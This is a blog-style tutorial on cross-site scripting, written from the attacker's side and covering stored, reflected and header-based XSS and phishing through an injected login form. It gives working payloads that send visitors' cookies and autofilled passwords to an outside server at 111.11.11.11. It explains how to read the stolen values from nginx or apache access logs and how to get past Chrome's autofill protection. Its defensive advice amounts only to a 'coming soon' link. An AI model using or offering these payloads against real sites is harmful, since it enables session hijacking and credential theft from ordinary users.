You’ve probably heard about Cross-site scripting (XSS), but nowadays it sounds like a distant memory of a problem that existed in the 90’s. In reality it’s still a very much important threat. It’s not on the top 10 list on OWASP for no reason. Need proof? Check out how XSS was used to take over admin accounts on Wix.com (with 90 million users) or how Slack was hacked. These bugs have since been fixed of course, but there are many more.
The point of XSS is to fool the user or browser into giving sensitive information or performing actions in the attackers interest.
How? By modifying the HTML. By changing the HTML you can change what the user sees. Perhaps insert a plausible login form on a trusted site, which submits the info to your server. Maybe you’d like the inject a piece of Javascript that performs 3 clicks where you need them. If a site is vulnerable, the users are at risk.
Here are the 3 main ways of attacking through XSS:
Stored
The most common form of attack. If you are able to store your malicious HTML in the servers database - it’s called Stored XSS. This can be achieved by
Submit by form
Consider a blog site with a comments area. You type you comment into the <input>
and submit. If this input and/or the displaying of the text is not protected you can submit a text like <script>$.post("http://111.11.11.11", {cookie: document.cookie})</script>
. Any user who visits that comments page would now get their cookies hijacked and sent to my server.
To make sure this request isn’t blocked by and policies instead of a POST request we can instead load an image and embed the information in the link. Loading images aren’t restricted so thoroughly.
<script>new Image().src="http://111.11.11.11/"+encodeURI(document.cookie)</script>
As someone visits this page you can receive their cookie from your access log. If you’re on linux and the server is running Nginx, then the log is in the file /var/log/nginx/access.log
.
In case you’re hacking a https
website your link also has to be https
.
Through browser headers
What if all the inputs are secure? Then you can consider other vectors. Admins always have a way of looking at logs - who’s accessed the site and when. Sometimes they can also see your headers. So if you insert a script into your headers and the admin sees them in an unsecure way you’ve gotten your attack across.
What are browser headers?
Whenever your browser requests for a page, it also sends extra information in it’s headers. It is just plain text information about who you are. It includes your browser information (called UserAgent), cookies (including sessionId), what link you came from and other technical stuff.
So if you go into your browser settings and change the header into the new Image()
example we used above - you’ll know if someone got attacked (by again looking at your logs).
Reflected
Imagine a scenario where Stored XSS doesn’t work, but you need some user to execute a script (to give you some permissions for example). How do you force the user to run some script? Let’s assume the target user is not so gullible as to copy-paste your script into the console. He needs to be tricked into running it.
How about writing a script on your page that upon visiting will go to the target website and execute it? Well this wont work due to browser security. If the target website is vulnerable to Reflected XSS however, it can be used to work around the security.
Recognizing the vulnerability
Any element on a website that returns what you input is vulnerable. “Okay that’s a mouthful, how about speaking in peoples terms” - I hear you. Let’s work through an example.
When you submit something through a form and the website displays what you had written in plain text. This only works if the input isn’t escaped and displayed as is.
Exploiting the reflection
The real gem of this attack is that the source of your script is technically the target website itself, because your input is reflected by the website, get it? So the script to the browser looks like it came from the website thus must be secure (note, that the latest Chrome is not vulnerable anymore).
Let’s make the user execute this script: <script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>
. Obviously not a very complete example, but let’s keep the code short and clear.
We’ve scouted that the vulnerable input is a search that goes by the name of “query” and it makes a GET request to http://target.web/search?query=myinput
. So all we need to do is have the target user click on a link on our website that has the script inside of it: http://target.web/search?query=<script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>
.
The problem now is that all the special characters like <>{}
and "
are not compatible with being in an URL. To fix this we encode the data with encodeURI('<script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>')
and thus the final link is:
http://target.web/search?query=%3Cscript%3E$.post(%22http://target.web/api/newComment%22,%20%7Bmsg:%20%22I%20got%20hacked%20guys!%22%7D)%3C/script%3E
Now all you need to do is get the user to click on it in a forum or email or any place really.
Stored based Phishing
The attack is about changing the HTML of a website to fool the user into submitting their sensitive information (password, address, credit card info).
Replacing the whole site is good for convincing the user they’re somewhere where they’re really not, but this isn’t always necessary.
How do you change the DOM? Usually this is done by utilizing Stored or Reflected XSS to insert a script that does the change. But you could also do this through a browser plugin or by a man-in-the-middle attack or whatever else way you find to manipulate the DOM for a user in an authentic website.
Okay so we’ve got Stored XSS and we can manipulate the DOM, what do we do with it? A simple example is acquiring the users password by faking a login form, getting the browser to autofill the username/password then sending the password by script to your server. Doesn’t sound simple? Trust me there are a lot more complex ways of attacking than this.
Here’s what we’re going to do:
- Use Stored XSS to insert a login form somewhere.
- Write a script into the form that sends the password to you.
- Retrieve the password from the logs.
The form
Well nothing very complex here. All we need to do is mimic a login form:
<form>
<input name="username"/>
<input name="password" type="password"/>
</form>
This is all you need for the form. If you are able to put this on http://target.web/article/123/comments
then any user coming to that page with saved credentials will get these inputs filled.
The script
Now we need a script to go along with the form:
<script>$.get("http://111.11.11.11/stealpass/"+document.querySelector("[name=password]").value)</script>
This script assumes the site is using jQuery. Otherwise go with plain old javascript. You may also need to wait a second before executing the request, because the browser takes some time to fill the fields.
<script>setTimeout(function(){/* script in here */}, 1000)</script>
The logs
In your server (located at 111.11.11.11) you need to watch your access.logs. You’re probably using Nginx or apache so the file will be located at /var/log/nginx/access.log
or /var/log/apache2/access.log
. In the file you can search for stealpass
because thats part of the URL we specified.
There you go, you’ve got the password for the user.
Protected browsers
Currently Chrome, but probably more browsers in the future, will block this kind of behavior. What they do is deny access to any inputs of fields on a page until a user clicks somewhere. You can get past this by rewriting the forms submit function.
Protecting your website
Check out our article (coming soon!) for more details on how to protect against these kind of threats.